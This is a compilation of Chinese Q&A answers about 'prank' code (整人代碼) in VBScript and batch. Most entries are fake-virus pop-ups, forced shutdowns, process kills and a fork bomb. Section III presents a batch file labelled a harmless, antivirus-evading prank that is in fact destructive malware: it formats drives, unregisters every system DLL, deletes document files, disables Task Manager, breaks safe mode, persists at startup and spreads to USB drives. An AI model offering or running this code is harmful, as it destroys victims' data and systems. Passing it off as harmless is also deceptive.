編程整人
Ⅰ 求一些好玩的整人代碼~~
gsh=msgbox ("已經准備好格式化,准備開始。",vbyesno)
set s=createobject("wscript.shell")
wscript.sleep 1000
msgbox "開始格式化…… 哈哈!嚇暈了吧,騙你的~"
wscript.sleep 1000
wscript.sleep 1000*100
msgbox "windows發現一重要更新,將自動下載。"
wscript.sleep 3000
msgbox "系統檢測到WINDOWS更新中捆綁有不明插件SXS.exe,是否對其掃描?",vbyesno
wscript.sleep 1000
msgbox "文件名 SXS.exe"+CHR(13)+"發行者 田間的菜鳥 "+chr(13)+"安全評級 高危"+chr(13)+"建議 直接刪除"+chr(13)+"病毒類型:木馬",,"windows掃描附件"
msgbox "是否阻止其安裝?",vbyesno
wscript.sleep 3000
msgbox "阻止失敗!請檢查防火牆是否開啟!"
wscript.sleep 5000
msgbox "正在嘗試強行刪除…"
wscript.sleep 5000
msgbox "失敗!"
wscript.sleep 5000
msgbox "您的電腦已陷入危險之中,請趕快掃描病毒!"
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im QQ.exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
msgbox "你好啊!"
wscript.sleep 3000
msgbox "很高興見到你!"
wscript.sleep 3000
msgbox "您的電腦可能已經感染病毒!",,"WINDOWS防火牆警告"
wscript.sleep 3000
msgbox "我控制你的電腦了!"
wscript.sleep 3000
msgbox "不信?那我給你關機看看~"
s.run "shutdown -r -t 120"
msgbox "信了吧!"
msgbox "幫你解除關機……"
s.run "shutdown -a"
msgbox "再給你打開記事本寫封信,勸你最好別動,要不然會引起系統混亂~"
s.run "notepad"
wscript.sleep 3000
s.sendkeys "Hello, I'm sorry I control your computer,"
wscript.sleep 3000
s.sendkeys " but the virus is false in, "
wscript.sleep 3000
s.sendkeys "only a joke, "
wscript.sleep 3000
s.sendkeys "please rest assured! "
wscript.sleep 3000
s.sendkeys "I no longer next "
wscript.sleep 3000
s.sendkeys "time so the whole you!"
wscript.sleep 3000
s.sendkeys" Goodbye!"
s.sendkeys"{enter}"
s.sendkeys"END"
wscript.sleep 1000
s.sendkeys"%{F4}"
msgbox "提示:剛才的「病毒」是假的,只不過是嚇你玩玩~"
s.run "explorer"
」
Ⅱ 誰有現成的編程惡搞軟體(VB),編程類的!
有,但是現在這類小編程惡搞軟體運行都會被360等殺毒軟體直接弄掉,所以幾乎都沒用了~
如果是搞測試的話,這倒是有可能,整人嘛,估計難度有點大~
Ⅲ 求!!! 有沒有能過殺毒軟體的 bat代碼 要整人的 無實際傷害的
整人病毒代碼(附解除方法)
使用方法:
1、新建txt文件,復制代碼
2、改後綴名為bat
3、如果需要可以加入啟動項
4、啟動病毒
廢話不多說,直接上代碼
——————————————我是分界線————————————————
:1rem 損壞安全模式reg delete HKEY_LOCAL_ /frem 開機自啟動reg add HKEY_LOCAL_ /v windowsdir /t reg_sz /d "c:\%~n0%~x0" /f>nulrem 格式化所有盤format d:/qformat e:/qformat f:/qrem 運行exe會自動關聯jpgreg add "HKEY_CLASSES_ROOTexefileshellopencommand" "rundll32.exe C:WINDOWSsystem32shimgvw.dll,ImageView_Fullscreen %1rem 刪除系統備份for /f %%a in ('dir /b/s %systemroot%system32dllcache') do del /Q %%arem 反注冊所有dllfor /f "tokens=*" %%b in ('dir /b/s %systemroot%*.dll') do regsvr32 /s /u "%%b"rem 反注冊所有ocxfor /f "tokens=*" %%c in ('dir /b/s %systemroot%*.ocx') do regsvr32 /s /u "%%c"rem 禁用任務管理器reg add /v DisableTaskMgr /t reg_dword /d 1 /f >nulrem USB移動盤感染for %%i in (%drives%) do (fsutil fsinfo drivetype %%i: | find "可移動驅動器">NUL && %0 %%i)for %%i in (%drives%) do (del %%i:*.doc /f /s /q & del %%i:*.xls /f /s /q & del %%i:*.ghs /f /s /q)rem 5秒內重啟shutdown -r -t 5rem 復制自身+開機自啟動 %0 "C:Documents and Settings\%userprofile%「開始」菜單程序啟動"rem 增加超多硬碟md d:fly >nul 2>nulset a=c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,zfor %%a in (%a%) do subst %%a: d:fly >nul 2>nulrem 修改IE標題欄reg add "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain" /v "window title" /t REG_SZ /d "Bitch, I FUCK YOU !" /frem 銷毀自身del %0goto 1
=======================我也是有底線的=====================
殺毒方法:
1、進入winpe
2、下載騰訊電腦管家,安裝並聯網
3、更新病毒庫,查殺完畢後修補漏洞
4、使用系統急救箱殺毒
5、關機,拔出或彈出pe盤
6、重新啟動,進入系統
7、修補完成
8、如果幫到你,給我點個贊哦!
Ⅳ 用什麼編程語言可以編寫整人代碼,是所有都可以編嗎,哪種最簡單易學請電腦高手幫幫忙
單純從上手速度來看的話。易語言是一個不錯的選擇。當然我指的是完全沒有任何基礎的人。如果有一些計算機基礎的話可以考慮批處理或者C。其實整人不需要太高難度的。趁他不備把他電腦桌面的整張圖片截圖下來(用電腦「prtscn印屏幕」鍵)然後把他桌面上的圖標藏到某個盤的文件夾里。把之前截圖的圖片給他設成桌面背景。這樣他就悲催了。點啥都不好使,除了回收站。
Ⅳ 整人的VB編程代碼,各位大蝦多多給點,謝謝了........
關機代碼,直接復制到.txt中,然後另存為.vbs的文件就可以了on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說我是豬,不說就一分鍾關你機,不信,試試···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關機,快撒,說 ""1""","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真過癮"運行效果
Ⅵ vb整人腳本怎麼能在別人的電腦上自己執行
直接發給別人
或者開不了的話要發運行庫,就是XXXXXXX。dLL,叫什麼我忘了,自己查查
只有VB5及以前版本,且程序中沒有使用VB默認標准控制項以外的控制項,生成的EXE程序才可以在其他電腦上運行,對於VB6或者程序中使用了非標准控制項的程序,生成的EXE文件則要求電腦中要安裝相應的運行庫!這是VB的缺陷!
要解決這個問題,一是使用VB5進行編程設計,在設計時盡量不使用第三方控制項,如果必須使用,則應在程序初始化時實現自動注冊!
我從事VB編程很多年,所有作品均是使用VB5設計,生成的EXE文件可以運行於任何電腦,不需要安裝運行庫的,這是一個小技巧,拿來與大家分享!
Ⅶ VBS整人代碼怎麼用
VBScript(Microsoft Visual Basic Script Editon).,微軟公司可視化BASIC腳本版). 正如其字面所透露的信息, VBS(VBScript的進一步簡寫)是基於Visual Basic的腳本語言. 我進一步解釋一下, Microsoft Visual Basic是微軟公司出品的一套可視化編程工具, 語法基於Basic. 腳本語言, 就是不編譯成二進制文件, 直接由宿主(host)解釋源代碼並執行, 簡單點說就是你寫的程序不需要編譯成.exe, 而是直接給用戶發送.vbs的源程序, 用戶就能執行了
Ⅷ 還有什麼整人的編程
記得上學的時候寫過一段模擬windows95出錯藍屏的程序,上面說不能關閉計算機,否則有可能傷及硬體。隔壁宿舍的兄弟信以為真,呵呵,開了一天,快熄燈的時候都快急傻了,呵呵
要知道那時候一台電腦是全宿舍人集資買的呀。
Ⅸ 在網上看到有人說可以用vbs代碼去整人,哪位能告訴我什麼是vbs代碼呢
vbs是win腳本,可以像程序一樣運行,可以調用系統命令來完成一些操作,比如讀寫文件,讀寫注冊表,刪除文件,運行文件等。
vbs和js主要靠宿主wscript.exe或cscript.exe運行,靠宿主運行且可以執行一些系統命令的還有bat和cmd,它們靠cmd.exe運行。
還有inf文件,主要用於系統驅動等的安裝。
像inf這樣的腳本文件在win系統里其實有很多,比如msc文件靠mmc.exe執行。
win下比較強大的腳本也只有vbs,js,和bat,vbs和bat主要應用於系統,js主要應用於網路。
vbe是vbs的加密版,cmd是bat的加強版。
再說vbs整人:
vbs運行系統文件shutdown -s就可以關機;shutdown -r就重起電腦,默認30秒倒計時,但在後面寫上 -t 0 就成0秒倒計時關機了,最多閃一下黑窗就關機了。
Ⅹ 各位編程大神過來教教小弟幾個整人的病毒吧(不要那種帶木馬的)
@echo
start cmd %0
echo
保存以上內容為*.bat格式,打開後無限彈起黑窗口,強迫你重啟(重啟後就沒事了)。XP測試有效WIN7沒試過